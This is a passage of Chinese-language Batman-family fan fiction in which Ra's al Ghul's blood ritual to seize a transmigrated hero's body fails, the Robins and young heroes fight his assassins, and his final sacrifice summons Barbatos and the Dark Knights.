卡修斯万万没想到，拉尔斯居然会带着达米安逃跑，虽然他觉得这种时候，拉尔斯自己跑会更容易些。但也不算毫无逻辑，他可能想要把达米安当作人质。 这麽想着，卡修斯也跟着追了过去。 可拉尔斯并没像卡修斯预想的那样，朝着出哥谭的路跑，而是一反常态的带着刺客们进了酒店旁边那栋艾略特大厦。 接着，他们在大厦顶层公寓再次堵住了拉尔斯。 “你想做什麽？放下达米安！”提姆说道。 拉尔斯抬起手，像是鼓掌似的再次在耳边拍了拍。 “啪，啪，啪。” 清脆的响声在寂静中非常刺耳。随着响声结束，套房中央，距离提姆和卡修斯不远处的空气突然开始扭曲，又开始向水一样波动。 仿佛一块无形的幕布被撕开，一道边缘闪烁着幽蓝色能量火花的椭圆形“门”凭空出现在空气中。门内光影流转，散发出浓郁的，令人不安的魔法气息。 一个身影从门内缓缓踱出。 那是一个看起来只有十一二岁的男孩，穿着一身哥特式的黑色西装，皮肤呈现吊诡的蓝色。他的头发是黑色的，在脑袋两边分别支起一簇头发，看上去就像是恶魔的尖角。 他的眼睛是纯黑色的，里面闪烁着与年龄极不相符的冷漠和玩味。他的肩头蹲着一只玳瑁毛色的猫，猫的眼珠是罕见的血红色，此刻它正在漫不经心地舔着爪子。 “克莱瑞恩。”拉尔斯叫了自己同伴的名字。 卡修斯想起来他是谁了，他就是和拉尔斯同样隶属于光明会的巫童，传说中的混沌之主！ 克莱瑞恩环视了一圈四周，目光在重伤昏迷的达米安身上短暂停留，再看了一眼比他还晚一步进入房间的塔利亚。他的眼神掠过房间里的其他人，直接看向卡修斯，嘴角勾起一个兴味的弧度。 “哦……他就是那个……灵魂穿越者？”巫童开口道。 他的声音介于少年和成人之间，就好像是正在变声期。 卡修斯的心头重重一跳。 “什麽？”他忍不住问出来。 但克莱瑞恩并没有搭理他，而是重新落在拉尔斯的身上。 “你比约定好的更早召唤我，是遇到什麽麻烦了吗？”他的语调听上去并没有多少关切，反而带着一些幸灾乐祸。他肩头的猫也“喵呜”了一声，像是附和主人的话。 拉尔斯无视了他语气中的嘲讽，直接说：“履行你的承诺，巫童，顺便告诉这些不知天高地厚的年轻人，为什麽他们寄予厚望的‘靠山’，此刻无法响应他们的召唤。” 克莱瑞恩耸了耸肩，仿佛在说一件微不足道的小事。他抬起皮肤幽蓝的手，尖尖的指甲在虚空中划出一块“画布”，画布上逐渐显现出超级英雄的身影。 “正义联盟？”他不屑的哼出声，“那个氪星人正被卢瑟的机器人大军困在大都会，享受着来自他家乡矿石的亲密接触。” 画布中展现的正是超人正在艰难地对抗着卢瑟的机器人大军的景象。他的脸色苍白，身形也不像平时那样敏捷，仔细看，就可以看到，那些机器人的关节处都泛着点点绿光。 “那个来自亚马逊的女人正在被女王蜂和豹女的‘可爱爪爪’盛情款待。” 画布切换成了神奇女侠的影子，地点似乎是在巴黎的卢浮宫外，女王蜂正操控着附近的普通男人们朝戴安娜冲去，豹女则趁她收着力道对付普通人的时候，在一旁不停的偷袭，进攻。 “至于那个爱玩水的大家夥，他的海底王国正在上演着一场由黑蝠鲼组织的精彩叛乱，够他忙活一阵子了。” …… 展示完光明会所有的成员动向之后，他收回手指，画布在空中消散，那双深不见底的纯黑色眼睛戏谑地看向提姆和卡修斯：“所以，别指望会有穿着鲜艳紧身衣的救世主从天而降了，小朋友们。没了正义联盟的加持，你们这群毛头小子在我眼里，不过是稍微强壮点的蚂蚁罢了。” 提姆的心沉了下去。他预料到拉尔斯会有后手，但没想到光明会那群平时谁也不服气谁的成员们，居然会齐齐动手，全面牵制了正义联盟。 这意味着他们现在需要独自面对拉尔斯和他麾下最精锐的力量，再加上一个魔法侧的巫童！ “是时候给故事画上一个句号了。当然，故事的最后，赢家也只能是我。提摩西，韦恩的一切依然会是我的，别忘了，达米安和他血脉相连。”拉尔斯笑的诡异，“克莱瑞恩，开始仪式吧！” 巫童肩头的黑猫轻盈地跳下，落在地上，血红色的猫眼好奇地打量着周围。克莱瑞恩双手缓缓抬起，十指如同弹奏无形的琴键般舞动起来。他的口中开始吟诵古老而晦涩的咒文，随着他的吟诵，套房光滑的大理石地面上，一个巨大而复杂的魔法阵骤然亮起！ 魔法阵由幽紫色的能量勾勒而成，散发出强大的能量波动。 就在魔法阵亮起的瞬间，卡修斯感觉自己好像被人忽然扼住了喉咙似的。不久前被那只项圈强行扎入，注射药剂的针孔位置后知后觉地酥麻起来，他整个人被同样紫色的能量裹住，眨眼间就被发送到了拉尔斯面前。 “卡修斯！”提姆立刻想要冲过去救援，连塔利亚也冲了过去，可两人都被横在中间的魔法阵挡住。明明面前空无一物，就是无法穿过，他和拉尔斯之间忽然像是隔了一堵透明的墙壁。 拉尔斯一把抓住被发送到他面前的卡修斯的手腕，力道大得几乎要捏碎骨头。卡修斯拼命挣扎，除了在拉尔斯手背上留下几道抓痕之外，没有对他造成任何更大的伤害。 拉尔斯另一只手抽出一柄镶嵌着绿宝石的仪式匕首，寒光一闪，毫不犹豫地在卡修斯的手腕上划开一道深深的伤口。 “呃……”卡修斯痛呼出声，鲜血顿时喷涌而出。 紧接着，拉尔斯用同一柄匕首在自己的手掌上也划了一刀，然后，他强行将自己流血的手掌紧紧按在了卡修斯流血的手腕上。 达米安身上也包裹着紫色的光芒，他被平移到法阵的正中央。 “你做什麽！”提姆目眦欲裂，拼命用长棍击打面前的空气墙。 塔利亚也用匕首不停地戳刺面前的障碍，她真切地恳求道：“父亲！请不要这麽做！” 拉尔斯死死按着卡修斯的手，任由两人的血液滴落在地面的魔法阵上。血液一接触紫光，立刻发出“滋滋”声响，被法阵贪婪地吸收，整个魔法阵的光芒变得更加妖异和明亮。 “卡修斯·西尔维斯特（Cassius·Sylvester），”拉尔斯的声音在巫童吟诵的背景音下显得格外清晰冷酷，“或者，我该叫你……卡赛（CaSy）” 这个名字如同一把冰冷的钥匙，猛地捅开了卡修斯意识深处的大门，无数不属于他的，本该消失的记忆碎片洪流般冲击着他的脑海——冰冷的石质祭坛，扭曲的空间裂隙，同伴们狂热的脸，以及拉尔斯欣赏的目光。最后，还有深入骨髓的撕裂与焚烧的痛苦，以及意识消逝前才生出的悔意。 “你是我的‘死亡七人组’中最忠诚、最无畏的战士。”拉尔斯的语气带着怀念和赞赏，“当年，我首次尝试打开时空裂隙，需要强大的灵魂能量作为祭品和锚点。你，卡赛，自愿献祭了自己。作为对你忠诚的褒奖，我赐予了你进入拉撒路池重生的殊荣。” 拉尔斯的目光变得热切起来，死死盯着卡修斯因痛苦和震惊而扭曲的脸：“然而，让我没想到的是，从池水中归来的，并非我忠诚的卡赛！一个来自未知时空的灵魂，竟然与卡赛的肉身奇迹般地融合了！一个异界之魂，一个现世之躯……这种前所未有的融合，让我看到了真正的永生之道！我的灵魂，也可以像你一样，完美地占据一具更年轻、可塑性更强的躯体，实现真正的长盛不衰和永恒的统治！” 就在他们两个血液融合，流入法阵的时候，拉尔斯的心声再一次呼啸着钻进卡修斯的脑海。 原来，他无数次被杀死，被投入拉撒路池，反复复活，不是为了惩罚，而是实验！是为了测试他这个“异界之魂”与“现世之躯”融合的稳定性和可承受的极限！每一次“复活”，拉尔斯都在暗中记录数据！ 甚至连他和达米安的相遇，都是拉尔斯刻意纵容。只是为了让达米安和他产生情感连接，让他这个“适配器”变得更加稳定，能在未来的某一天，承受即将到来的伟大的灵魂转移。 拉尔斯让他成为“哈莱姆”，只是他复生计划的其中一个环节，和故意放任达米安与他创建感情联结一样，他们名义上的伴侣关系，同样是给这个灵魂转移魔法增加成功率的重要一环。 “那个项圈，从来就不是为提摩西准备的，我一开始的目标就是你。里面的魔药，是巫童精心调配的催化剂，它能抑制你的精神力，并且最大程度的激发你的传导性，为联结我和达米安做好准备。” 卡修斯浑身冰冷，他不知道是因为失血过多还是因为知道了这个关于自己的可怕秘密。 “不可能！”卡修斯虚弱的低吼。 他能听到拉尔斯的心声，如果这是真的，为什麽在此之前，拉尔斯的心声没有泄露分毫？ “你是不是在想，你明明能听到我在想什麽，这麽长时间，却偏偏没发现我一直在骗你？”拉尔斯满足的欣赏着卡修斯濒临崩溃的神情。 “因为我一直都知道，你能听到我的心声，这可是那个懵懂的你，亲口告诉我的啊！” “不对，不是这样的……”失血让卡修斯感觉到大脑混乱，他无力地反驳着。 “你们可以开始了。”拉尔斯不再看他，厉声喝道。 随着他的命令，拱卫在他身边的六名死亡杀手（除了坐轮椅的那个）同时上前一步，分别占据着魔法阵中六芒星的六个点。他们神情热切的看着魔法阵中央的达米安，毫不犹豫的割开了自己的手腕。6股暗红色的血液如同小溪般流淌而下，准确地汇入地上的魔法阵纹路。 所有的血液在紫色的纹路里融合的刹那，魔法阵爆发出刺目的光芒！一股庞大到无法抗拒的吸力从法阵中心传来，牢牢锁定了卡修斯。 卡修斯觉得自己的生命力，灵魂，正在被一股恐怖的力量疯狂地抽取！这种感觉和他无数次在拉撒路池中的感觉一模一样。 无数死亡的记忆瞬间回涌，他看到了无数个“自己”在池水中溶解，在刀锋下破碎……每一次死亡的痛苦都清晰地叠加在一起，冲击着他的神经。 “很好，非常好！多麽充沛的痛苦，多麽澎湃的能量！” 他听到巫童在心中赞叹。 卡修斯艰难地转头，看向嘴巴一张一合，手中长棍疯狂抽打魔法屏障的提姆。他的眼中充满了绝望和痛苦。 不行，我决不能认输。 卡修斯动了动手指，在口袋中摸到一张卡片。这是当初提姆交给他的特制塔罗牌的最后一张，因为正位牌面寓意不好，他一直没用过。 倒吊人 正位的倒吊人意味着放弃并接受失败。 他现在根本无法看牌面，只能用完好的左手将卡牌抽出，瞄准了正蹲在达米安身边洗脸的红瞳玳瑁猫。 这只猫是巫童力量的延伸，也是他与现世界的连接，是克莱瑞恩的弱点，也是卡修斯目前唯一能够放手一搏的突破点。 求生的本能压倒了一切，卡修斯用尽残存的所有力气，猛地将牌飞了出去。 “咻——！” 逆位的“倒吊人”带着卡修斯最后的意志和力量，如同闪电般射向巫童的魔宠。 边缘锋利的金属塔罗牌准确无比的钉在了猫的后腿上。 “喵嗷！！！” 凄厉的猫叫声骤然响起，黑猫如同被烙铁烫到，猛地弹跳起来，后退带着那张明晃晃的塔罗牌，在极度的惊吓和疼痛下，直接撞碎了旁边的窗玻璃，化作一道影子窜了出去。 “蒂克尔！”正在专注施法，引导庞大魔法能量的巫童脸色骤变，他那原本冷漠的蓝色面容瞬间被极致的惊恐和暴怒取代，魔法仪式的光芒剧烈地闪烁起来。 “不！蒂克尔，回来！”克莱瑞恩发出一声尖叫，他甚至顾不上看一眼即将完成的仪式，也不顾上拉尔斯愤怒地咆哮，双手猛地一收，强行中断了魔法能量的输出。 幽紫色的能量瞬间失控，在他指尖炸开一小团火花，他的手指瞬间变得焦黑。 可他完全顾不上。克莱瑞恩如同疯了一般，身影瞬间变得模糊，化作一道黑色的光芒，紧随着猫消失的方向疾射而出。 “克莱瑞恩！”拉尔斯的咆哮声震动了整个房间，魔法阵失去了内核引导者，虽然还在运转，但光芒瞬间黯淡了下去，那股疯狂抽取卡修斯生命和灵魂的力量也骤然消失了。 魔法屏障消失，提姆和塔利亚同时冲向了法阵的中间。 拉尔斯的怒火几乎要化为实质的火焰，他猛地转头，那双燃烧着地狱之火的绿眼睛死死钉在提姆身上。 “你们一而再，再而三地破坏我的计划，今天，你们一个都不许活着！” 他猛地挥手，对着死亡杀手和所有的刺客厉声下令：“先杀了红罗宾，把他碎尸万段！” 刺客们带着滔天的杀意直扑将卡修斯护在身后的红罗宾。 “塔利亚，你可真是我的‘好女儿’。”他转向塔利亚，说，“刚才你还恨不得手刃自己的儿子，怎麽现在又变卦，想要当起好妈妈了？” 塔利亚垂着头，没说话。 当达米安真的变成拉尔斯仪式的一部分时，她心中那点所剩无几的母爱被唤醒，塔利亚发现，自己还是没办法眼睁睁看着达米安成为一具“容器”。 她派利维坦和达米安对决，确实存着惩戒达米安的心思。可事实上，她绝不会真的放任利维坦杀死达米安，如果不是拉尔斯派来的刺客打断，她当时本就准备阻止利维坦的。 她从怀中捧出一个古朴的、表面没有任何花纹的深棕色木盒。 盒子不大，看上去也没什麽分量，盒盖的正中央，清晰地烙印着一个奇特的，如同钥匙般的徽记——与卡修斯尾椎处的纹身一模一样，正是卡修斯今天会来这里的原因。 “我知道您一直在找这个。”她双手将盒子呈上，恭敬地说，“我希望用它，换回我的儿子，您的孙子，达米安。请您看在他也流淌着您的血脉的份上。” 拉尔斯暴怒的目光瞬间被塔利亚手中的木盒吸引。这就是他追寻了数个世纪的，关于时空与灵魂最深奥秘的象征！他眼中闪过一丝狂喜，甚至暂时压过了对提姆的杀意。 他锐利的目光扫过塔利亚的脸，几秒钟后，他嘴角微微挑起：“女儿，你总算做了一件让我满意的事。” 他伸手，将盒子接了过来。 拉尔斯的手指抚过盒盖上的钥匙印记，又对着塔利亚随意地挥了挥手：“好好‘教导’达米安，不要再让我失望。” “是，父亲。”塔利亚恭敬地应道。 她抱起达米安就准备离开。她知道，拉尔斯愿意放过达米安，是因为这个灵魂仪式一旦中断，至少要等60年才能重新开启。除非他能找到像卡修斯这样的，第二个灵魂穿越者。 等她将达米安救醒，第一时间就要给他催眠，让他忘记布鲁斯·韦恩，忘记在哥谭的一切。只要达米安还像以前那样崇拜和依恋拉尔斯，至少60年内，拉尔斯不会再打达米安的主意。 塔利亚抱起达米安，打算立即离开这个是非之地。 “想走？问过我们了吗？” 一声怒喝如同雷霆般在被猫撞碎的窗口炸响。 两道身影如同炮弹般撞了进来。漆黑的披风划过窗沿，他胸前的黑色蝙蝠仿佛正在愤怒地振翅。紧随其后的，是戴着红色头盔，胸前同样有只红色蝙蝠，手持双枪的红头罩。 “滚开！” 塔利亚不想和他们缠斗，厉声喝道。 “你可以走，把罗宾留下。”蝙蝠侠说。 第106章 向您献祭！ 塔利亚将达米安刚放下，身边护卫着她的刺客就将达米安接了过去。她反手抽出短匕刺向蝙蝠侠的手腕：“别来妨碍我，他是我的儿子！” “他现在是我的罗宾！”迪克格开匕首，另一只手中的蝙蝠镖飞出，准确地射向夹着达米安的两名刺客的手腕，同时人也冲到他们面前，以及淩厉的侧踢逼开塔利亚，伸手抓向达米安的手臂，用力往回一拽。 杰森则直接用手中的双枪对准了正扑向卡修斯和提姆的刺客们。 拉尔斯看着突然闯入的两人，脸上的怒意反而被轻蔑取代。他一手稳稳拿着木盒，另一只手随意地挥了挥，仿佛在驱赶苍蝇：“如果是布鲁斯来了，我倒是要谨慎几分，就凭你们两个？正好，省得我一个个去找。解决他们，让这些失去庇护的小鸟们知道，在绝对的力量面前，他们的挣扎是多麽的可笑。” “反派死于话多。”红头罩狞笑一声，手中双枪的子弹和他的声音一块儿出膛。 大口径的子弹带着令人胆寒的爆破声，疾速飞向离他最近的两名死亡杀手。而且他目标明确，每一发子弹都瞄准对方的脑袋和心脏。其中一名死亡杀手反应极快，用手中的弯刀格挡，弹头和金属刀刃发出尖利的碰撞，溅起刺目的火花。巨大的冲击力让他手臂发麻，连连后退。另一名杀手则连续狼狈地翻滚躲避，子弹擦着他的肩胛骨飞过，带起一蓬血花。 红头罩在对敌的时候还不忘抽空转向卡修斯，暴躁地骂他：“对付这个老怪物你也偷偷摸摸的谁也不告诉？你别不会是跟老头子学的吧？好的不学，光学这些糟粕了！忘了我们在刺客联盟的时候是怎麽互相依靠了的吗？下次再搞这种事，我就打断你的腿！” 他一边骂，一边又哒哒哒的射出一连串的子弹，好几个刺客躲闪不及，中枪倒下。 与此同时，提姆也爆发了！趁着压制他的刺客因为蝙蝠侠和红头罩的突入而产生混乱的瞬间，他猛地一个肘击撞开身后刺客的肋下，身体如同泥鳅般从他手臂和肋骨之间的位置滑出，随后连看都没看身后，直接长棍反手击向身后。 “砰！”一声闷响，他身后的刺客重重倒地。 “卡修斯，接着！”提姆大喊着将腰带中取出的一件装备丢给卡修斯。那是一个他从白幽灵那里顺来的小型电击器。 卡修斯强忍着失血和灵魂上的虚弱，奋力一扑，接住了电击器。他推开电击器开关，想都没想地直接转身，将滋滋作响的电击头狠狠按在了正伸手打算抓向他后领的拉尔斯。 “嘶——”拉尔斯下意识地收回了手，又往后退了几步，立即被几名刺客拱卫在了身后。 战斗越来越焦灼，蝙蝠侠与塔利亚缠斗在一起，争夺着达米安，杰森如同狂暴战士似的双枪火力全开，压制着杀手精锐，完全不顾及流弹是否会伤到同伴。这种不顾一切的打法逼得拉尔斯也不得不避让几分。 提姆则展现出了他曾作为蝙蝠侠以及多个世界级武术大师弟子的顶尖战术素养。他一边护着受伤虚弱的卡修斯，一边利用房间里的格局和陈设和刺客们周旋，虽然他使用的是杀伤力没那麽大的长棍，但也能准确地打击对手，让对方在短时间内失去战斗力。 卡修斯手腕上的伤处被提姆快速处理过，他紧紧跟着提姆，时不时的帮他抵御一些漏网之鱼的攻击，但绝不会有太大动作。他现在的目标就是保护好自己，不要给提姆他们添麻烦。自己还处于受伤虚弱的状态，对抗强敌这种事就交给战斗力更高的人吧，他不用强行出头。 他时不时的关注着拉尔斯的动向，以免他再次俘虏自己。塔利亚给他的那个盒子让卡修斯心里总有些不安，觉得他说不定还会搞出些什麽出人意料的事情来。看他那个表情，也不太像是打算善罢甘休的样子。 他就不明白了，在原本的剧情里，他可没有这麽难缠。在强占布鲁斯的公司计划被挫败后，他重伤了提姆并趁蝙蝠侠救治对方的时候离开了哥谭，并没有像现在这样一而再再而三地作妖。难道这就是他出现后的蝴蝶效应吗？ 他和提姆目前在距离拉尔斯最远的一个角落，卡修斯想到自己刚才好像再次听到了拉尔斯的心声，有点想要靠他近一些，看看他接下来还想做些什麽。 不过他刚表现出一点企图靠近拉尔斯的样子，离他不远处的杰森又爆出一连串的粗口：“你给我老实点儿，别去送菜，他想些什麽不用你剧透！红罗宾，把人看好。” 提姆在战斗的间隙将长棍横在卡修斯身前：“头罩说的对。” 卡修斯：…… 他将目光再次投向被刺客们拱卫着的拉尔斯。 在那个不属于他的记忆中，拉尔斯是绝对不允许有人胆敢伤害他，却全身而退的。 现在的他，虽然看上去和之前见过的没什麽差别，但卡修斯就是觉得，拉尔斯变了——主要是心态上的。 拉尔斯好像变得更加谨慎和怕死了。 恶魔之首也会怕死吗？是他的拉撒路池失效了，还是他的这具身体用了太久，又开始衰败了？这难道就是他急着换一个更年轻的身体的原因？ 他们不让自己靠近拉尔斯，但卡修斯还是努力集中精神，尝试捕捉拉尔斯内心深处的想法，但不久前灵魂受到的伤害让他现在仍然感到头痛欲裂，根本听不到什麽人的心声，就连距离他不算远的塔利亚，他都很难听到。 “别企图发动你那个屁用没有的‘超能力’了。”红头罩又干掉一个刺客后又抽空怼了卡修斯一句。要不是他戴着头罩遮住了表情，卡修斯觉得自己肯定能看到他的白眼。 “放心，就算豁出性命，我们也不会再让拉尔斯伤害到你……和这里的其他人。”提姆沉稳的声音在他耳边响起。 “呵，这次就算了，以后不要随便代表我发言。”红头罩又在旁边开口。 卡修斯觉得他可能得了一种名叫“不怼人不舒服斯基”的绝症。 死亡杀手们确实强悍，尤其是那名坐轮椅的，虽然无法移动，但他投掷暗器的准确度和淬毒的弩箭威胁极大，而且因为仇恨的缘故，他的目标始终锁定提姆。 红头罩故意没先处理这个人，还兴致勃勃的观赏提姆疲于应付的样子。 “别看热闹了，快点帮忙！” 红罗宾又用长棍挡下一枚淬毒的弩箭后，对着红头罩说。 “求人就要有求人的态度。”红头罩哼道。 “请，拜托。”红罗宾开口道，语气相当谦卑。 红头罩倒是没想到他这麽能拉下面子，反而沉默了一会儿。根据卡修斯对他的了解，这家夥应该是害羞了。 不过这个时候可不敢揭穿他，要不然又要炸毛。 这次红头罩没再多说什麽，直接站在了红罗宾的面前，将枪口对准了不断对着他们这个方向发射弩箭的刺客们。 这可能是蝙蝠侠的三任罗宾第一次并肩作战，但三个人在凶险的环境下配合的相当默契。迪克终于从塔利亚手中完全抢回了达米安，杰森的火力压制则为提姆创造了近身死亡杀手的机会，他的长棍如毒蛇般出击，一棍挥下，直接打断了对方的手臂，敌人始终拿在手上的弩落地，提姆第二棍再次挥下，打到对方脑侧，直接将人击晕过去。 红头罩看到后不屑地嗤了一声。 不过红罗宾和蝙蝠侠都没有对他在这儿提枪杀人发表任何他不爱听的言论，作为回报，他也不会对他们的妇人之仁多说什麽。 卡修斯强忍着眩晕，挥出袖剑，从侧边调转地刺入一个之前被击晕，但现在已经转醒，悄悄接近红罗宾的杀手。 “呃！”杀手闷哼一声，动作凝滞了瞬间，红头罩已经抓住机会，一枪准确的射穿了他的手臂。杀手惨叫一声再次倒下。 塔利亚见达米安被蝙蝠侠牢牢护住，她看了一眼自己正用阴冷眼神看盯着蝙蝠侠及卡修斯一群人的拉尔斯，又看了一眼被蝙蝠侠好好护住的达米安，眼中闪过一丝难以言喻的复杂情绪。 她所受到过的教育和成长经历里，很难理解迪克这种愿意为了一个才认识不久，甚至没有血缘关系的兄弟豁出性命的行为。但她知道，可能即使布鲁斯不在，达米安也能在这里得到保护。她不用再因为担心拉尔斯伤害他，而强行为他制造苦难，强迫他更快变得强大。 她不再恋战，虚晃一招逼退蝙蝠侠。 “既然你执意要留下他，那就别让他收到任何伤害，否则，我会追杀你到生命的最后一刻。” 说罢，她的身影迅速后退，几个起落间，便带着自己剩下的刺客，从大门处消失了。 就在塔利亚刚离开没多久，几道年轻的身影眨眼间出现在了战场。 胸口印着超人家族盾徽，一个黑色T恤，一个蓝色卫衣红色披风的大男孩小男孩齐齐悬浮在大厦破碎的落地窗外，一道红黄色残影也瞬间出现在房间内，然后停住，是闪电小子巴特，神奇少女卡西也带着搅局者出现了，她们齐齐站在提姆身前，将自己的夥伴护在身后。 “对付你，也用不上正义联盟，我们就足够了！”巴特快人快语道。 “听说你叫我们是‘蝼蚁’？”穿着紫色制服的斯蒂芬妮语气轻快地说，“那你没听过一句话吗？蚂蚁也能咬死大象。” 拉尔斯的脸色阴沉地看着自己最精锐的刺客们在蝙蝠侠三人的配合下接连受挫，看着塔利亚离去，想到自己的计划接连受阻，转生仪式也被破坏，现在，这群烦人的二代超能力者们又出现在了自己的眼前。 “你破坏了上一个蝙蝠侠定下的规矩，竟然让这群超能力者在你的城市为所欲为。”他看着蝙蝠侠，沉声说。 “你都说这是我的城市了，我当然能说了算。还有，‘为所欲为’的是你。”蝙蝠侠说，“拉尔斯，认输吧。” “够了。” 拉尔斯的声音比以往任何时候都低沉，如同受伤的野兽发动最后一击时的咆哮。 他举起手中的木盒，眼中闪烁着疯狂和孤注一掷的决绝。魔法阵虽然暗淡，但并未完全消失，法阵中的血液还没有干涸，依旧继续维持着它的运转。 “你们以为这就是结束？你们三番两次的妨碍我，我会让你们所有人，所有人！”他重复了一遍，“为今天的愚蠢付出代价！” 说罢，他再一次举起那柄仪式匕首，狠狠对着自己的手腕割下，让他的血液流进那个光芒暗淡到快要消失的法阵之中。 “我的孩子们，向我奉献！打开新世界的门，见证这个旧世界的落幕！” 听到他的话，所有的刺客们眼中忽然再次闪动起狂热，他们一个接一个地停下攻击，将手中的武器对准了自己脖子，用力划下。 蝙蝠侠甚至来不及阻止，眼睁睁的看着所有的刺客在自己面前倒下。 他们身体里流出的血诡异的汇向那个还残留的魔法阵。 对魔法稍有涉猎的红头罩看到这一幕，也开始头皮发麻。就算他不知道拉尔斯具体想做什麽，他也知道，用活人和鲜血做献祭的魔法阵绝对不可能是什麽好东西。 他收起手中的枪，从身体里（？）抽出一把通体闪着寒光的匕首。 “你疯了吗？！”红头罩怒吼着。 提姆也本能地感觉到了危险，他带着卡修斯立即后退，尽可能的远离那个由闪动着紫色光芒变成血红色光芒的魔法阵。 拉尔斯自己走到了法阵中间，他将自己的手掌放在盒子的卡扣上，卡扣发出细小但清楚的“咔嗒”声。 卡修斯这才想起，刚才拉尔斯用他割开的手掌抓着自己流血的手腕，现在，他的手掌上也有自己的血。心里不安的感觉加深了。 “我们应该离开这儿……” 他低喃道。 但是他知道不可能，虽然这个蝙蝠侠是迪克，但他又怎麽可能眼睁睁的看着拉尔斯启动一个未知的魔法阵，但是自己却逃跑呢？ 的确，蝙蝠侠冲向拉尔斯，但是被法阵再次亮起的结界屏障给阻挡！ 卡修斯忽然觉得尾椎处纹身的位置变得滚烫，这份灼热感迅速蔓延全身。 “他要……” 他再次听到了拉尔斯的声音。 但卡修斯还没说完，就被拉尔斯癫狂的声音打断。 “血肉，筋骨，灵魂！” 他用仪式匕首在自己的手腕上再补一刀，几乎要切掉他自己的整个手掌。 鲜血哗啦啦地流入盒子，卡修斯看见了，盒子里是一尊小小的，长得和蝙蝠极像的雕像。 “向您献祭！请实现吾之夙愿，用你的怒火烧尽这个腐朽的，肮脏的，邪恶的旧世界！” “阻止他，他在……！”卡修斯急切的大吼出声。 但来不及了。一阵刺眼的红光从卡修斯身上爆发出来，巨大的冲击力直接将提姆炸出去狠狠撞在墙上。【你现在阅读的是 】 【正文完】 第107章 尾声 你好，梦中人。 “……他在召唤巴巴托斯！” 卡修斯最后发出的声音越来越小，像是从极远的地方传来似的。可他的声音虽然遥远，却如同惊雷般炸响，瞬间冻结了所有人的动作。这里的大部分人都知道巴巴托斯是什麽，正义联盟和泰坦塔的数据库里都记载过一些多元宇宙的信息，巴巴托斯是传说中黑暗多元宇宙的主宰者，给他所到的每一个世界带来绝望和毁灭！ “不——！”蝙蝠侠最先反应过来，他不顾一切的冲向法阵中央的拉尔斯，蝙蝠抓鈎带着破空声射出，目标直指还在拉尔斯手中捧着的木盒。 红头罩手中双枪喷射火舌，一连串的子弹呼啸着射向拉尔斯的手腕和那柄滴血的仪式匕首。 超级小子，小乔，闪电小子，神奇少女，搅局者……所有年轻的英雄在震惊过后，都爆发出最快的速度，从不同的角度扑向那个魔法阵，企图阻止拉尔斯的继续。 提姆的心脏几乎停跳，他顾不上自己被爆炸冲击波撞伤的剧痛，挣扎着爬起，冲向卡修斯刚才站着的地方。 空气中慢慢开始弥漫着一种腐朽的气息，卡修斯感觉自己的灵魂一瞬间被最深沉的黑暗包围，仿佛有一股无形的力量和他的灵魂产生了共鸣。他的身体开始变得透明，等到提姆扑过去的时候，只抓住了一缕卡修斯的残影，他的手直接穿过了卡修斯的身体！ “怎麽会……”他喃喃道。 卡修斯睁大眼睛，他感觉到自己的灵魂被吸引着，眼神不由自主的看向拉尔斯手中的木盒。盒子里被鲜血浸透的蝙蝠雕像像是正在复活，就像某种巨大恐怖的力量正在慢慢觉醒。拉尔斯的身影在他的眼中越发模糊，逐渐变成了一个黑暗漩涡，一个带着翅膀的巨大蝙蝠怪物的身形在漩涡中若隐若现。 “你们这些人，喜欢当英雄？沉迷拯救世界？那麽这次，就跟你们喜欢的世界一起毁灭吧。”拉尔斯的声音仿佛来自深渊的诅咒。他的皮囊在迅速变得干瘪，好像被什麽东西快速的抽干生命，但他的脸上却保持着志得意满的笑容。 “伟大的巴巴托斯，黑暗与毁灭的主宰！请降临您的恩赐，我将带领这个世界走向新的未来！”拉尔斯看到了在天空中变得越来越明显的，遮天蔽日的巨大身影，他的声音里带着即将达成夙愿的狂喜和颤抖。 卡修斯感觉到自己尾椎处已经不是发烫，而是像被烧红的烙铁直接摁进皮肉和骨髓！那股灼热感瞬间席卷全身。他低下头，看到自己的双手，身体，好像正在变得透明、虚化，就像是正在从这个物质世界被强行剥离！ “提姆！” 他朝向自己冲过来的人伸出手，指尖却穿过他急伸过来的手臂，就像穿过了一团空气。 卡修斯的仪式仿佛被强行拔高，穿透了物质世界的壁垒。他“看”到了——无尽的黑暗虚空中，一个庞大到无法想象的蝙蝠状阴影舒展开来，那是巴巴托斯！而在他狰狞的阴影笼罩下，几道散发着恐怖气息的身影正踏着破碎的时空走来。 为首者，眼部带着满是扭曲铁锥的金属护目镜，嘴角裂开一个撕裂到耳根的病态笑容，卡修斯知道他，那是狂笑之蝠！紧随其后的是全身长满骨刺，身形巨大的蹂躏者，接着是杀戮机器、无情战魔、溺亡怨魂、红色死神……黑暗骑士团降临了。 卡修斯的心沉入无底深渊。他在虚空中看到了这个宇宙的未来——哥谭在哀嚎中化为废墟，英雄们相继陨落，世界在黑暗骑士的铁蹄下支离破碎……拉尔斯的愿望以一种最彻底最恐怖的方式实现了。 他看到狂笑之蝠带着黑暗骑士团向他走来，然后……他们穿过他的身体，一脚踏入现实世界。 “我的夙愿……新的秩序……”拉尔斯干瘪的嘴唇蠕动着，声音如同破败的风箱。献祭了所有的忠诚刺客，献祭了自己全部的生命力，此刻的他。皮肤紧贴着骨头，眼窝深陷。原本高大威严的身躯佝偻猥琐，如同一具风干千年的木乃伊，紧靠着拉撒路池残留的微弱力量吊着一口气。但他眼中燃烧着最后一丝疯狂的光芒，死死盯着从虚空裂缝中弹出利爪的巴巴托斯。 “汝之奉献……吾甚满意……”一个如同亿万灵魂哀嚎叠加而成的意念直接冲击着在场所有人的大脑，那是巴巴托斯的声音。 他贪婪地汲取着魔法阵汇聚的生命能量，暗红色的光芒更加浓郁粘稠。 “时空壁垒坚韧……吾需更多生命之息……鲜活血肉……汝等……即最佳……收割者……” 虚空中出现的那双巨大眼睛向下转动，目光扫过刚刚出现的，散发着无尽暴虐和毁灭气息的黑暗骑士团身上。 “去收割生命吧，撕碎他们的希望，让恐惧和绝望滋养时空裂隙！”巴巴托斯下达了命令。 狂笑之蝠发出一阵尖利的笑声，手中的镰刀闪烁着寒光：“乐意效劳。” 在巴巴托斯可怖的声音落下的同时，以艾略特大厦为中心，空间如同脆弱的玻璃般出现裂痕。刺耳的，仿佛世界本身在撕裂的尖啸声响彻云霄。 哥谭的大地在剧烈地震颤，钢筋混凝土浇筑的高楼大厦也在渐渐塌陷，成片的外墙龟裂，街道塌陷，整个城市仿佛被一只无形的巨手攥住，用蛮力撕扯，扭曲。 